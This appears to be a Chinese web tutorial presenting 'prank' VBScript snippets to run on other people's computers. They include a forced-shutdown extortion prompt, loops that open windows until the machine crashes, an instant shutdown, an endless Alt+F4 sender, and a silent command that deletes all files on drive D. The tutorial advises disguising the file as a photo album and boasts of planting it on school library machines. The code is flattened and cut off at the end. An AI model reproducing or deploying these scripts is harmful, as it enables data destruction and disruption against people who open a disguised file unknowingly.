有趣的vb程序代码(今日恶搞代码vbs教程)_一言一语

恶搞代码vbs教程，如何恶搞朋友的电脑超简单的vbs代码很多人还不知道，现在让我们一起来看看吧！1、新...

恶搞代码vbs教程，如何恶搞朋友的电脑超简单的vbs代码很多人还不知道，现在让我们一起来看看吧！

1、新建文本文档，复制代码。

2、代码如下：on error resume nextdim WSHshellAset WSHshellA = wscript.createobject(wscript.shell)WSHshellA.runcmd.exe /c shutdown -r -t 180 -c说我是猪，不说我是猪就一分钟关你机，不信，你试试···,0 ,truedim ado while(a <>我是猪)a = inputbox (说我是猪,就不关机，快撒，说我是猪　,说不说,不说,8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBoxloopmsgbox chr(13) + chr(13) + chr(13) +早说就行了嘛,呵呵，猪dim WSHshellset WSHshell = wscript.createobject(wscript.shell)WSHshell.runcmd.exe /c shutdown -a,0 ,truemsgbox chr(13) + chr(13) + chr(13) +哈哈哈哈，真过瘾保存记事本文档，把txt文件的后缀名txt改成vbs。

3、可以把名字写成如“我的相册.vbs”吸引人的字眼。

4、双击运行，查看效果。

5、如果不说“我是猪”或者输入其他字的话，就会重复窗口，直到说“我是猪”为止。

6、继而弹出以下窗口：如果不小心自己点开了，有两种解决方法：一是的输入“我是猪”进行解除；二是按Windows+R键打开运行输入shutdown -a来解除关机命令（注意此时不要点击正在运行的弹窗的任何按钮），接着打开任务管理器找到wscript并结束进程就OK 啦。

7、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgboxYou are foolish!loop打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject(wscript.shell) do wsh.runcalcloop直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.runshutdown -f -s -t 00,0 ,true删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.runcmd /cdel d:\*.* / f /q /s,0 ,true按500次回车 (以上代码在运行者的电脑上显示500个对话框。

8、其中 do until s=500 ，500可以随意更改) dim s do until s=500 s=s+1 msgbox哥们，给我按500次回车吧,64 loop不断按下alt+f4 （开什么都关闭……） dim WSHshell set WSHshell = wscript.createobject(wscript.shell) while(1) WSHshell.SendKeys%{F4}loo。

本文到此结束，希望对大家有所帮助。